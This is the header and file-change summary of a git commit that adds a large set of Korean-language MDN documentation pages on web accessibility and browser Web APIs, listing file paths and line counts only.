From da78a9e329e272dedb2400b79a3bdeebff387d47 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:17 -0500 Subject: initial commit --- .../index.html | 222 ++ .../aria/aria_live_regions/index.html | 255 ++ .../accessibility/aria/aria_techniques/index.html | 213 ++ .../using_the_aria-label_attribute/index.html | 66 + .../web/accessibility/aria/forms/alerts/index.html | 146 + .../aria/forms/basic_form_hints/index.html | 116 + files/ko/web/accessibility/aria/forms/index.html | 17 + files/ko/web/accessibility/aria/index.html | 131 + .../aria/roles/dialog_role/index.html | 158 + files/ko/web/accessibility/aria/roles/index.html | 78 + files/ko/web/accessibility/index.html | 49 + .../mobile_accessibility_checklist/index.html | 106 + .../accessibility/understanding_wcag/index.html | 59 + .../understanding_wcag/keyboard/index.html | 87 + files/ko/web/api/abortcontroller/abort/index.html | 93 + .../api/abortcontroller/abortcontroller/index.html | 88 + files/ko/web/api/abortcontroller/index.html | 103 + files/ko/web/api/abortcontroller/signal/index.html | 89 + files/ko/web/api/abortsignal/aborted/index.html | 64 + files/ko/web/api/abortsignal/index.html | 107 + .../ko/web/api/abstractrange/collapsed/index.html | 46 + files/ko/web/api/abstractrange/index.html | 199 ++ files/ko/web/api/abstractworker/index.html | 83 + files/ko/web/api/analysernode/index.html | 164 + files/ko/web/api/angle_instanced_arrays/index.html | 83 + .../api/animationevent/animationevent/index.html | 76 + .../api/animationevent/animationname/index.html | 53 + files/ko/web/api/animationevent/index.html | 78 + .../api/animationtimeline/currenttime/index.html | 102 + files/ko/web/api/animationtimeline/index.html | 56 + .../using_the_audiochannels_api/index.html | 248 ++ files/ko/web/api/audiobuffer/index.html | 172 ++ files/ko/web/api/audiobuffersourcenode/index.html | 146 + files/ko/web/api/audiochannelmanager/index.html | 74 + files/ko/web/api/audiochannels_api/index.html | 121 + files/ko/web/api/audiocontext/index.html | 179 ++ files/ko/web/api/audiodestinationnode/index.html | 142 + files/ko/web/api/audionode/index.html | 185 ++ files/ko/web/api/audioparam/index.html | 114 + files/ko/web/api/background_tasks_api/index.html | 511 +++ .../ko/web/api/batterymanager/charging/index.html | 117 + .../web/api/batterymanager/chargingtime/index.html | 74 + .../api/batterymanager/dischargingtime/index.html | 71 + files/ko/web/api/batterymanager/index.html | 74 + files/ko/web/api/biquadfilternode/index.html | 249 ++ files/ko/web/api/blob/blob/index.html | 59 + files/ko/web/api/blob/index.html | 151 + files/ko/web/api/body/index.html | 97 + files/ko/web/api/body/json/index.html | 73 + files/ko/web/api/broadcastchannel/index.html | 92 + files/ko/web/api/cache/index.html | 148 + files/ko/web/api/cache/put/index.html | 118 + .../canvas/index.html | 69 + .../api/canvascapturemediastreamtrack/index.html | 72 + .../requestframe/index.html | 69 + files/ko/web/api/channel_messaging_api/index.html | 91 + .../using_channel_messaging/index.html | 220 ++ files/ko/web/api/characterdata/index.html | 97 + files/ko/web/api/childnode/before/index.html | 144 + files/ko/web/api/childnode/index.html | 76 + files/ko/web/api/childnode/remove/index.html | 97 + files/ko/web/api/clients/claim/index.html | 66 + files/ko/web/api/clients/index.html | 102 + files/ko/web/api/clipboard/index.html | 89 + files/ko/web/api/clipboard_api/index.html | 74 + .../api/clipboardevent/clipboarddata/index.html | 51 + files/ko/web/api/clipboardevent/index.html | 67 + files/ko/web/api/comment/index.html | 73 + files/ko/web/api/console/assert/index.html | 99 + files/ko/web/api/console/clear/index.html | 43 + files/ko/web/api/console/count/index.html | 102 + files/ko/web/api/console/countreset/index.html | 108 + files/ko/web/api/console/debug/index.html | 59 + files/ko/web/api/console/error/index.html | 77 + files/ko/web/api/console/group/index.html | 83 + files/ko/web/api/console/index.html | 296 ++ files/ko/web/api/console/log/index.html | 94 + files/ko/web/api/console/time/index.html | 56 + files/ko/web/api/console/timeend/index.html | 68 + files/ko/web/api/console/trace/index.html | 77 + files/ko/web/api/console/warn/index.html | 70 + files/ko/web/api/console_api/index.html | 76 + files/ko/web/api/crypto/getrandomvalues/index.html | 73 + files/ko/web/api/crypto/index.html | 35 + files/ko/web/api/crypto/subtle/index.html | 36 + files/ko/web/api/css/index.html | 81 + files/ko/web/api/css_object_model/index.html | 189 ++ files/ko/web/api/cssmediarule/index.html | 70 + files/ko/web/api/cssomstring/index.html | 73 + files/ko/web/api/cssstylesheet/index.html | 139 + files/ko/web/api/customelementregistry/index.html | 94 + .../ko/web/api/customevent/customevent/index.html | 110 + files/ko/web/api/customevent/index.html | 96 + files/ko/web/api/datatransfer/getdata/index.html | 112 + files/ko/web/api/datatransfer/index.html | 137 + files/ko/web/api/document/adoptnode/index.html | 58 + files/ko/web/api/document/alinkcolor/index.html | 26 + files/ko/web/api/document/all/index.html | 49 + files/ko/web/api/document/anchors/index.html | 31 + files/ko/web/api/document/applets/index.html | 30 + files/ko/web/api/document/body/index.html | 74 + files/ko/web/api/document/characterset/index.html | 47 + files/ko/web/api/document/compatmode/index.html | 64 + files/ko/web/api/document/cookie/index.html | 243 ++ .../api/document/createdocumentfragment/index.html | 134 + files/ko/web/api/document/createelement/index.html | 101 + .../ko/web/api/document/createelementns/index.html | 173 ++ files/ko/web/api/document/createrange/index.html | 33 + .../ko/web/api/document/createtextnode/index.html | 60 + .../web/api/document/createtreewalker/index.html | 160 + files/ko/web/api/document/defaultview/index.html | 46 + files/ko/web/api/document/designmode/index.html | 50 + files/ko/web/api/document/doctype/index.html | 58 + files/ko/web/api/document/document/index.html | 43 + .../ko/web/api/document/documentelement/index.html | 60 + files/ko/web/api/document/documenturi/index.html | 116 + files/ko/web/api/document/domain/index.html | 91 + files/ko/web/api/document/drag_event/index.html | 183 ++ files/ko/web/api/document/dragend_event/index.html | 97 + .../ko/web/api/document/dragstart_event/index.html | 90 + files/ko/web/api/document/embeds/index.html | 36 + files/ko/web/api/document/execcommand/index.html | 157 + files/ko/web/api/document/forms/index.html | 77 + .../ko/web/api/document/getelementbyid/index.html | 152 + .../api/document/getelementsbytagname/index.html | 117 + .../api/document/getelementsbytagnamens/index.html | 149 + files/ko/web/api/document/getselection/index.html | 8 + files/ko/web/api/document/hasfocus/index.html | 101 + files/ko/web/api/document/head/index.html | 69 + files/ko/web/api/document/hidden/index.html | 26 + files/ko/web/api/document/images/index.html | 52 + .../ko/web/api/document/implementation/index.html | 55 + files/ko/web/api/document/importnode/index.html | 67 + files/ko/web/api/document/index.html | 480 +++ files/ko/web/api/document/keydown_event/index.html | 153 + files/ko/web/api/document/keyup_event/index.html | 99 + files/ko/web/api/document/links/index.html | 102 + files/ko/web/api/document/location/index.html | 69 + files/ko/web/api/document/open/index.html | 106 + files/ko/web/api/document/queryselector/index.html | 130 + .../web/api/document/queryselectorall/index.html | 180 ++ files/ko/web/api/document/readystate/index.html | 125 + .../api/document/readystatechange_event/index.html | 139 + files/ko/web/api/document/referrer/index.html | 23 + files/ko/web/api/document/scroll_event/index.html | 141 + .../ko/web/api/document/stylesheetsets/index.html | 59 + files/ko/web/api/document/url/index.html | 69 + .../api/document/visibilitychange_event/index.html | 72 + .../ko/web/api/document/visibilitystate/index.html | 56 + files/ko/web/api/document/write/index.html | 102 + .../api/document_object_model/events/index.html | 84 + .../api/document_object_model/examples/index.html | 372 +++ files/ko/web/api/document_object_model/index.html | 350 +++ .../index.html | 51 + .../using_the_w3c_dom_level_1_core/index.html | 95 + .../\354\206\214\352\260\234/index.html" | 239 ++ files/ko/web/api/documentfragment/index.html | 139 + .../documentorshadowroot/activeelement/index.html | 94 + files/ko/web/api/documentorshadowroot/index.html | 74 + .../documentorshadowroot/stylesheets/index.html | 57 + files/ko/web/api/documenttype/index.html | 90 + files/ko/web/api/domobject/index.html | 35 + files/ko/web/api/domparser/index.html | 203 ++ files/ko/web/api/domstring/index.html | 43 + files/ko/web/api/domtokenlist/contains/index.html | 117 + files/ko/web/api/domtokenlist/index.html | 115 + files/ko/web/api/dragevent/index.html | 109 + files/ko/web/api/element/accesskey/index.html | 34 + files/ko/web/api/element/attributes/index.html | 72 + files/ko/web/api/element/classlist/index.html | 285 ++ files/ko/web/api/element/classname/index.html | 122 + files/ko/web/api/element/click_event/index.html | 227 ++ files/ko/web/api/element/clientheight/index.html | 70 + files/ko/web/api/element/clientleft/index.html | 66 + files/ko/web/api/element/closest/index.html | 145 + files/ko/web/api/element/currentstyle/index.html | 80 + files/ko/web/api/element/getattribute/index.html | 53 + .../api/element/getelementsbyclassname/index.html | 108 + .../api/element/getelementsbytagname/index.html | 136 + files/ko/web/api/element/id/index.html | 67 + files/ko/web/api/element/index.html | 306 ++ files/ko/web/api/element/innerhtml/index.html | 204 ++ .../web/api/element/insertadjacenthtml/index.html | 79 + files/ko/web/api/element/outerhtml/index.html | 119 + .../ko/web/api/element/removeattribute/index.html | 66 + files/ko/web/api/element/scrollheight/index.html | 168 + files/ko/web/api/element/scrollintoview/index.html | 88 + files/ko/web/api/element/tagname/index.html | 62 + .../web/api/element/touchcancel_event/index.html | 116 + files/ko/web/api/encoding_api/index.html | 62 + files/ko/web/api/event/cancelable/index.html | 23 + files/ko/web/api/event/cancelbubble/index.html | 90 + files/ko/web/api/event/createevent/index.html | 29 + files/ko/web/api/event/event/index.html | 77 + files/ko/web/api/event/eventphase/index.html | 179 ++ files/ko/web/api/event/index.html | 212 ++ files/ko/web/api/event/istrusted/index.html | 61 + files/ko/web/api/event/preventdefault/index.html | 93 + .../api/event/stopimmediatepropagation/index.html | 91 + files/ko/web/api/event/stoppropagation/index.html | 99 + files/ko/web/api/event/target/index.html | 96 + files/ko/web/api/eventlistener/index.html | 84 + .../ko/web/api/eventsource/eventsource/index.html | 79 + files/ko/web/api/eventsource/index.html | 121 + .../api/eventtarget/addeventlistener/index.html | 690 +++++ .../web/api/eventtarget/dispatchevent/index.html | 79 + .../ko/web/api/eventtarget/eventtarget/index.html | 70 + files/ko/web/api/eventtarget/index.html | 133 + .../api/eventtarget/removeeventlistener/index.html | 211 ++ .../ko/web/api/fetch_api/basic_concepts/index.html | 66 + .../index.html" | 419 +++ files/ko/web/api/fetch_api/index.html | 88 + files/ko/web/api/fetchevent/index.html | 110 + files/ko/web/api/fetchevent/respondwith/index.html | 115 + files/ko/web/api/file/file/index.html | 72 + files/ko/web/api/file/index.html | 99 + files/ko/web/api/file/name/index.html | 66 + files/ko/web/api/file/size/index.html | 30 + .../using_files_from_web_applications/index.html | 496 +++ .../api/file_and_directory_entries_api/index.html | 131 + files/ko/web/api/filelist/index.html | 155 + files/ko/web/api/filereader/index.html | 111 + .../ko/web/api/filereader/loadend_event/index.html | 165 + .../ko/web/api/filereader/readasdataurl/index.html | 171 ++ files/ko/web/api/filereader/readastext/index.html | 60 + files/ko/web/api/filereader/result/index.html | 33 + files/ko/web/api/formdata/append/index.html | 90 + files/ko/web/api/formdata/delete/index.html | 70 + files/ko/web/api/formdata/entries/index.html | 70 + files/ko/web/api/formdata/formdata/index.html | 92 + files/ko/web/api/formdata/get/index.html | 74 + files/ko/web/api/formdata/getall/index.html | 74 + files/ko/web/api/formdata/has/index.html | 73 + files/ko/web/api/formdata/index.html | 82 + files/ko/web/api/formdata/keys/index.html | 70 + files/ko/web/api/formdata/set/index.html | 79 + files/ko/web/api/formdata/values/index.html | 70 + files/ko/web/api/gamepad_api/index.html | 94 + .../gamepad_api/using_the_gamepad_api/index.html | 342 +++ files/ko/web/api/geolocation/clearwatch/index.html | 92 + .../api/geolocation/getcurrentposition/index.html | 88 + files/ko/web/api/geolocation/index.html | 70 + .../web/api/geolocation/watchposition/index.html | 99 + files/ko/web/api/geolocation_api/index.html | 97 + files/ko/web/api/geolocationposition/index.html | 62 + files/ko/web/api/globaleventhandlers/index.html | 268 ++ .../api/globaleventhandlers/onchange/index.html | 73 + .../web/api/globaleventhandlers/onclick/index.html | 89 + .../globaleventhandlers/oncontextmenu/index.html | 103 + .../api/globaleventhandlers/ondblclick/index.html | 70 + .../api/globaleventhandlers/onkeydown/index.html | 60 + .../web/api/globaleventhandlers/onkeyup/index.html | 27 + .../globaleventhandlers/onpointerenter/index.html | 79 + .../api/globaleventhandlers/onscroll/index.html | 98 + .../api/globaleventhandlers/onsubmit/index.html | 70 + .../globaleventhandlers/ontouchstart/index.html | 128 + files/ko/web/api/history/back/index.html | 70 + files/ko/web/api/history/forward/index.html | 69 + files/ko/web/api/history/go/index.html | 82 + files/ko/web/api/history/index.html | 85 + files/ko/web/api/history/length/index.html | 50 + files/ko/web/api/history/pushstate/index.html | 84 + files/ko/web/api/history/replacestate/index.html | 68 + .../web/api/history/scrollrestoration/index.html | 72 + files/ko/web/api/history/state/index.html | 67 + files/ko/web/api/history_api/index.html | 117 + .../drag_operations/index.html" | 343 +++ .../index.html" | 303 ++ files/ko/web/api/htmlbrelement/index.html | 64 + .../api/htmlcanvaselement/getcontext/index.html | 144 + files/ko/web/api/htmlcanvaselement/index.html | 242 ++ files/ko/web/api/htmlcollection/index.html | 96 + files/ko/web/api/htmlcollection/item/index.html | 50 + files/ko/web/api/htmldivelement/index.html | 72 + files/ko/web/api/htmldocument/index.html | 21 + .../web/api/htmlelement/accesskeylabel/index.html | 84 + files/ko/web/api/htmlelement/click/index.html | 47 + .../web/api/htmlelement/contenteditable/index.html | 59 + files/ko/web/api/htmlelement/dataset/index.html | 127 + files/ko/web/api/htmlelement/index.html | 271 ++ .../ko/web/api/htmlelement/input_event/index.html | 100 + .../ko/web/api/htmlelement/offsetparent/index.html | 43 + files/ko/web/api/htmlelement/outertext/index.html | 33 + files/ko/web/api/htmlelement/style/index.html | 41 + files/ko/web/api/htmlelement/tabindex/index.html | 26 + files/ko/web/api/htmlformelement/index.html | 240 ++ .../api/htmlhyperlinkelementutils/href/index.html | 51 + .../web/api/htmlhyperlinkelementutils/index.html | 91 + files/ko/web/api/htmllielement/index.html | 77 + .../web/api/htmlmediaelement/autoplay/index.html | 79 + .../api/htmlmediaelement/canplay_event/index.html | 82 + .../canplaythrough_event/index.html | 82 + files/ko/web/api/htmlmediaelement/index.html | 282 ++ files/ko/web/api/htmloptionelement/index.html | 88 + files/ko/web/api/htmlselectelement/index.html | 166 + .../htmlselectelement/selectedoptions/index.html | 123 + files/ko/web/api/htmlspanelement/index.html | 61 + files/ko/web/api/htmltableelement/index.html | 109 + files/ko/web/api/htmltableelement/width/index.html | 28 + files/ko/web/api/htmltemplateelement/index.html | 58 + files/ko/web/api/htmltitleelement/index.html | 77 + files/ko/web/api/htmlvideoelement/index.html | 117 + .../ko/web/api/idledeadline/didtimeout/index.html | 58 + files/ko/web/api/idledeadline/index.html | 66 + .../imagecapture/getphotocapabilities/index.html | 79 + .../api/imagecapture/getphotosettings/index.html | 86 + files/ko/web/api/imagecapture/grabframe/index.html | 73 + .../web/api/imagecapture/imagecapture/index.html | 67 + files/ko/web/api/imagecapture/index.html | 123 + files/ko/web/api/imagecapture/takephoto/index.html | 82 + files/ko/web/api/imagecapture/track/index.html | 49 + files/ko/web/api/imagedata/index.html | 134 + files/ko/web/api/index.html | 33 + files/ko/web/api/index/index.html | 10 + .../basic_concepts_behind_indexeddb/index.html | 219 ++ files/ko/web/api/indexeddb_api/index.html | 157 + .../api/indexeddb_api/using_indexeddb/index.html | 1325 ++++++++ .../web/api/intersection_observer_api/index.html | 598 ++++ files/ko/web/api/intersectionobserver/index.html | 97 + .../intersectionobserver/index.html | 87 + .../api/intersectionobserver/observe/index.html | 65 + .../web/api/intersectionobserver/root/index.html | 57 + files/ko/web/api/location/index.html | 112 + files/ko/web/api/location/reload/index.html | 56 + files/ko/web/api/media_streams_api/index.html | 92 + .../api/mediadevices/enumeratedevices/index.html | 88 + .../web/api/mediadevices/getusermedia/index.html | 296 ++ files/ko/web/api/mediadevices/index.html | 122 + .../api/mediastream_image_capture_api/index.html | 100 + .../mediastreamtrack/applyconstraints/index.html | 91 + files/ko/web/api/mediastreamtrack/clone/index.html | 46 + .../ko/web/api/mediastreamtrack/enabled/index.html | 83 + .../mediastreamtrack/getcapabilities/index.html | 48 + .../api/mediastreamtrack/getconstraints/index.html | 62 + .../api/mediastreamtrack/getsettings/index.html | 49 + files/ko/web/api/mediastreamtrack/id/index.html | 50 + files/ko/web/api/mediastreamtrack/index.html | 135 + files/ko/web/api/mediastreamtrack/kind/index.html | 59 + files/ko/web/api/mediastreamtrack/label/index.html | 54 + files/ko/web/api/mediastreamtrack/muted/index.html | 67 + .../web/api/mediastreamtrack/readystate/index.html | 60 + files/ko/web/api/mediastreamtrack/stop/index.html | 82 + files/ko/web/api/mediatrackconstraints/index.html | 178 ++ files/ko/web/api/messageevent/index.html | 104 + files/ko/web/api/mouseevent/clientx/index.html | 82 + files/ko/web/api/mouseevent/index.html | 188 ++ files/ko/web/api/mozmmsevent/index.html | 82 + files/ko/web/api/mozmmsmessage/index.html | 83 + .../ko/web/api/mozmobilemessagemanager/index.html | 101 + files/ko/web/api/mozmobilemessagethread/index.html | 40 + files/ko/web/api/mozsmsevent/index.html | 109 + files/ko/web/api/mozsmsfilter/index.html | 108 + files/ko/web/api/mozsmsmanager/index.html | 95 + files/ko/web/api/mozsmsmessage/index.html | 56 + files/ko/web/api/mozsmssegmentinfo/index.html | 36 + files/ko/web/api/mutationobserver/index.html | 240 ++ files/ko/web/api/navigator/battery/index.html | 24 + files/ko/web/api/navigator/geolocation/index.html | 50 + files/ko/web/api/navigator/index.html | 137 + files/ko/web/api/navigator/mediadevices/index.html | 56 + .../web/api/navigator/mozmobilemessage/index.html | 58 + .../web/api/navigator/moznotification/index.html | 63 + files/ko/web/api/navigator/mozsms/index.html | 67 + .../navigator/registerprotocolhandler/index.html | 125 + files/ko/web/api/navigator/share/index.html | 68 + files/ko/web/api/navigatorid/index.html | 74 + files/ko/web/api/navigatorlanguage/index.html | 65 + .../web/api/navigatorlanguage/language/index.html | 133 + files/ko/web/api/navigatoronline/index.html | 63 + .../online_and_offline_events/index.html | 107 + .../api/networkinformation/connection/index.html | 105 + files/ko/web/api/networkinformation/index.html | 90 + files/ko/web/api/node/appendchild/index.html | 125 + files/ko/web/api/node/childnodes/index.html | 51 + files/ko/web/api/node/clonenode/index.html | 160 + files/ko/web/api/node/contains/index.html | 105 + files/ko/web/api/node/firstchild/index.html | 67 + files/ko/web/api/node/haschildnodes/index.html | 42 + files/ko/web/api/node/index.html | 263 ++ files/ko/web/api/node/innertext/index.html | 88 + files/ko/web/api/node/insertbefore/index.html | 167 + files/ko/web/api/node/lastchild/index.html | 25 + files/ko/web/api/node/nextsibling/index.html | 83 + files/ko/web/api/node/normalize/index.html | 56 + files/ko/web/api/node/ownerdocument/index.html | 63 + files/ko/web/api/node/previoussibling/index.html | 42 + files/ko/web/api/node/replacechild/index.html | 71 + files/ko/web/api/node/textcontent/index.html | 111 + files/ko/web/api/nodefilter/index.html | 115 + files/ko/web/api/nodelist/entries/index.html | 70 + files/ko/web/api/nodelist/foreach/index.html | 118 + files/ko/web/api/nodelist/index.html | 153 + files/ko/web/api/nodelist/item/index.html | 44 + files/ko/web/api/nodelist/keys/index.html | 72 + files/ko/web/api/nodelist/length/index.html | 35 + files/ko/web/api/nodelist/values/index.html | 72 + files/ko/web/api/notification/index.html | 493 +++ .../ko/web/api/notification/permission/index.html | 43 + files/ko/web/api/notifications_api/index.html | 83 + .../web/api/notifyaudioavailableevent/index.html | 32 + .../web/api/offscreencanvas/getcontext/index.html | 117 + files/ko/web/api/offscreencanvas/height/index.html | 63 + files/ko/web/api/offscreencanvas/index.html | 153 + .../api/offscreencanvas/offscreencanvas/index.html | 74 + files/ko/web/api/offscreencanvas/toblob/index.html | 77 + files/ko/web/api/offscreencanvas/width/index.html | 63 + files/ko/web/api/page_visibility_api/index.html | 141 + files/ko/web/api/parentnode/append/index.html | 134 + .../api/parentnode/childelementcount/index.html | 97 + files/ko/web/api/parentnode/children/index.html | 85 + files/ko/web/api/parentnode/index.html | 80 + files/ko/web/api/parentnode/prepend/index.html | 133 + files/ko/web/api/performance/index.html | 138 + files/ko/web/api/performance/mark/index.html | 101 + files/ko/web/api/performance/now/index.html | 99 + files/ko/web/api/performanceentry/index.html | 142 + files/ko/web/api/photocapabilities/index.html | 84 + files/ko/web/api/plugin/index.html | 67 + files/ko/web/api/positionoptions/index.html | 64 + files/ko/web/api/push_api/index.html | 118 + files/ko/web/api/pushmanager/index.html | 111 + files/ko/web/api/pushmessagedata/index.html | 67 + files/ko/web/api/range/index.html | 142 + .../ko/web/api/range/selectnodecontents/index.html | 68 + files/ko/web/api/readablestream/index.html | 105 + files/ko/web/api/request/credentials/index.html | 70 + files/ko/web/api/request/index.html | 293 ++ files/ko/web/api/request/request/index.html | 214 ++ files/ko/web/api/rtcconfiguration/index.html | 97 + .../web/api/rtcdatachannelevent/channel/index.html | 63 + files/ko/web/api/rtcdatachannelevent/index.html | 77 + .../rtcdatachannelevent/index.html | 75 + .../web/api/rtcicecandidate/candidate/index.html | 84 + files/ko/web/api/rtcicecandidate/index.html | 90 + files/ko/web/api/rtcicecandidate/tojson/index.html | 49 + .../rtcpeerconnection/addicecandidate/index.html | 148 + .../web/api/rtcpeerconnection/addtrack/index.html | 208 ++ .../cantrickleicecandidates/index.html | 87 + .../ko/web/api/rtcpeerconnection/close/index.html | 72 + .../rtcpeerconnection/connectionstate/index.html | 111 + .../api/rtcpeerconnection/createanswer/index.html | 96 + .../rtcpeerconnection/createdatachannel/index.html | 146 + .../currentlocaldescription/index.html | 76 + .../currentremotedescription/index.html | 72 + .../generatecertificate/index.html | 69 + .../rtcpeerconnection/getconfiguration/index.html | 78 + .../getidentityassertion/index.html | 60 + .../api/rtcpeerconnection/getreceivers/index.html | 55 + .../api/rtcpeerconnection/getsenders/index.html | 55 + .../rtcpeerconnection/gettransceivers/index.html | 63 + .../rtcpeerconnection/icegatheringstate/index.html | 85 + .../icegatheringstatechange_event/index.html | 102 + files/ko/web/api/rtcpeerconnection/index.html | 356 +++ .../rtcpeerconnection/localdescription/index.html | 64 + .../onconnectionstatechange/index.html | 65 + .../api/rtcpeerconnection/ondatachannel/index.html | 62 + .../rtcpeerconnection/onicecandidate/index.html | 63 + .../onicegatheringstatechange/index.html | 76 + .../rtcpeerconnection/onidentityresult/index.html | 55 + .../web/api/rtcpeerconnection/ontrack/index.html | 63 + .../api/rtcpeerconnection/removetrack/index.html | 80 + .../api/rtcpeerconnection/restartice/index.html | 80 + .../rtcpeerconnection/rtcpeerconnection/index.html | 59 + .../rtcpeerconnection/setconfiguration/index.html | 99 + .../setidentityprovider/index.html | 66 + .../setlocaldescription/index.html | 125 + .../rtcpeerconnectioniceevent/candidate/index.html | 56 + .../web/api/rtcpeerconnectioniceevent/index.html | 76 + files/ko/web/api/rtcsessiondescription/index.html | 129 + .../web/api/rtcsessiondescription/sdp/index.html | 69 + .../web/api/rtcsessiondescription/type/index.html | 65 + .../web/api/screen.onorientationchange/index.html | 85 + files/ko/web/api/screen/index.html | 76 + files/ko/web/api/screen/lockorientation/index.html | 92 + files/ko/web/api/screen/orientation/index.html | 120 + .../ko/web/api/screen/unlockorientation/index.html | 62 + files/ko/web/api/selection/index.html | 209 ++ files/ko/web/api/selection/tostring/index.html | 58 + files/ko/web/api/server-sent_events/index.html | 77 + files/ko/web/api/service_worker_api/index.html | 175 ++ .../using_service_workers/index.html | 521 ++++ files/ko/web/api/serviceworker/index.html | 113 + .../web/api/serviceworker/onstatechange/index.html | 72 + .../serviceworkerglobalscope/clients/index.html | 55 + .../ko/web/api/serviceworkerglobalscope/index.html | 152 + .../notificationclick_event/index.html | 104 + .../skipwaiting/index.html | 71 + .../serviceworkerregistration/active/index.html | 59 + .../web/api/serviceworkerregistration/index.html | 150 + .../installing/index.html | 54 + .../navigationpreload/index.html | 39 + files/ko/web/api/sharedworker/index.html | 105 + files/ko/web/api/storage/index.html | 107 + files/ko/web/api/storage/key/index.html | 74 + files/ko/web/api/storage/length/index.html | 68 + files/ko/web/api/storage/removeitem/index.html | 134 + files/ko/web/api/storageevent/index.html | 79 + files/ko/web/api/streams_api/index.html | 152 + .../streams_api/using_readable_streams/index.html | 317 ++ .../\354\273\250\354\205\211/index.html" | 115 + files/ko/web/api/stylesheet/index.html | 61 + files/ko/web/api/svgrect/index.html | 90 + files/ko/web/api/text/index.html | 117 + files/ko/web/api/text/splittext/index.html | 95 + files/ko/web/api/text/text/index.html | 55 + files/ko/web/api/touch_events/index.html | 399 +++ files/ko/web/api/treewalker/currentnode/index.html | 63 + files/ko/web/api/treewalker/index.html | 168 + files/ko/web/api/url/createobjecturl/index.html | 101 + files/ko/web/api/url/hash/index.html | 62 + files/ko/web/api/url/host/index.html | 67 + files/ko/web/api/url/hostname/index.html | 59 + files/ko/web/api/url/href/index.html | 59 + files/ko/web/api/url/index.html | 143 + files/ko/web/api/url/origin/index.html | 61 + files/ko/web/api/url/password/index.html | 61 + files/ko/web/api/url/pathname/index.html | 60 + files/ko/web/api/url/port/index.html | 61 + files/ko/web/api/url/protocol/index.html | 61 + files/ko/web/api/url/revokeobjecturl/index.html | 68 + files/ko/web/api/url/search/index.html | 63 + files/ko/web/api/url/searchparams/index.html | 56 + files/ko/web/api/url/tojson/index.html | 52 + files/ko/web/api/url/tostring/index.html | 59 + files/ko/web/api/url/url/index.html | 107 + files/ko/web/api/url/username/index.html | 61 + files/ko/web/api/urlsearchparams/index.html | 136 + .../ko/web/api/urlsearchparams/tostring/index.html | 78 + .../api/urlsearchparams/urlsearchparams/index.html | 76 + files/ko/web/api/usvstring/index.html | 40 + files/ko/web/api/validitystate/index.html | 83 + files/ko/web/api/vreyeparameters/index.html | 88 + .../basic_concepts_behind_web_audio_api/index.html | 354 +++ files/ko/web/api/web_audio_api/index.html | 523 ++++ .../web_audio_api/using_web_audio_api/index.html | 238 ++ files/ko/web/api/web_storage_api/index.html | 117 + .../using_the_web_storage_api/index.html | 218 ++ .../web/api/web_workers_api/basic_usage/index.html | 908 ++++++ files/ko/web/api/web_workers_api/index.html | 92 + .../structured_clone_algorithm/index.html | 153 + .../by_example/clearing_by_clicking/index.html | 110 + .../webgl_api/by_example/detect_webgl/index.html | 72 + .../api/webgl_api/by_example/hello_glsl/index.html | 168 + .../by_example/hello_vertex_attributes/index.html | 181 ++ files/ko/web/api/webgl_api/by_example/index.html | 83 + .../by_example/scissor_animation/index.html | 166 + .../by_example/simple_color_animation/index.html | 125 + .../by_example/textures_from_code/index.html | 174 ++ .../api/webgl_api/cross-domain_textures/index.html | 33 + files/ko/web/api/webgl_api/index.html | 255 ++ .../index.html | 236 ++ .../animating_objects_with_webgl/index.html | 125 + .../animating_textures_in_webgl/index.html | 117 + .../creating_3d_objects_using_webgl/index.html | 132 + .../tutorial/getting_started_with_webgl/index.html | 100 + files/ko/web/api/webgl_api/tutorial/index.html | 40 + .../tutorial/lighting_in_webgl/index.html | 177 ++ .../index.html | 98 + .../tutorial/using_textures_in_webgl/index.html | 183 ++ .../api/webgl_api/webgl_best_practices/index.html | 46 + files/ko/web/api/webglrenderbuffer/index.html | 64 + files/ko/web/api/webglshader/index.html | 171 ++ files/ko/web/api/webrtc_api/adapter.js/index.html | 40 + files/ko/web/api/webrtc_api/index.html | 225 ++ files/ko/web/api/webrtc_api/protocols/index.html | 57 + .../signaling_and_video_calling/index.html | 651 ++++ .../api/webrtc_api/using_data_channels/index.html | 95 + files/ko/web/api/websocket/index.html | 248 ++ files/ko/web/api/websocket/readystate/index.html | 71 + files/ko/web/api/websocket/websocket/index.html | 51 + files/ko/web/api/window/alert/index.html | 71 + .../web/api/window/beforeunload_event/index.html | 105 + .../web/api/window/cancelanimationframe/index.html | 72 + files/ko/web/api/window/closed/index.html | 70 + files/ko/web/api/window/confirm/index.html | 76 + files/ko/web/api/window/console/index.html | 53 + files/ko/web/api/window/crypto/index.html | 75 + files/ko/web/api/window/customelements/index.html | 63 + .../ko/web/api/window/devicepixelratio/index.html | 180 ++ files/ko/web/api/window/document/index.html | 47 + files/ko/web/api/window/event/index.html | 52 + files/ko/web/api/window/frameelement/index.html | 61 + .../ko/web/api/window/getcomputedstyle/index.html | 137 + files/ko/web/api/window/getselection/index.html | 129 + files/ko/web/api/window/history/index.html | 59 + files/ko/web/api/window/index.html | 700 +++++ files/ko/web/api/window/innerwidth/index.html | 78 + files/ko/web/api/window/length/index.html | 51 + files/ko/web/api/window/localstorage/index.html | 92 + files/ko/web/api/window/location/index.html | 213 ++ files/ko/web/api/window/matchmedia/index.html | 77 + files/ko/web/api/window/name/index.html | 32 + files/ko/web/api/window/navigator/index.html | 44 + files/ko/web/api/window/open/index.html | 665 ++++ files/ko/web/api/window/opener/index.html | 52 + .../api/window/orientationchange_event/index.html | 66 + files/ko/web/api/window/outerwidth/index.html | 101 + files/ko/web/api/window/pageyoffset/index.html | 164 + files/ko/web/api/window/popstate_event/index.html | 66 + files/ko/web/api/window/postmessage/index.html | 183 ++ files/ko/web/api/window/prompt/index.html | 94 + .../api/window/requestanimationframe/index.html | 112 + .../web/api/window/requestidlecallback/index.html | 76 + files/ko/web/api/window/resize_event/index.html | 192 ++ files/ko/web/api/window/resizeto/index.html | 73 + files/ko/web/api/window/scrollto/index.html | 48 + files/ko/web/api/window/scrollx/index.html | 82 + files/ko/web/api/window/scrolly/index.html | 86 + files/ko/web/api/window/self/index.html | 72 + files/ko/web/api/window/sessionstorage/index.html | 101 + files/ko/web/api/window/status/index.html | 25 + files/ko/web/api/window/stop/index.html | 50 + files/ko/web/api/window/toolbar/index.html | 51 + files/ko/web/api/window/top/index.html | 55 + files/ko/web/api/window/unload_event/index.html | 126 + files/ko/web/api/window/window/index.html | 43 + files/ko/web/api/windoweventhandlers/index.html | 101 + .../windoweventhandlers/onhashchange/index.html | 159 + .../api/windoweventhandlers/onpopstate/index.html | 57 + .../api/windoweventhandlers/onstorage/index.html | 64 + 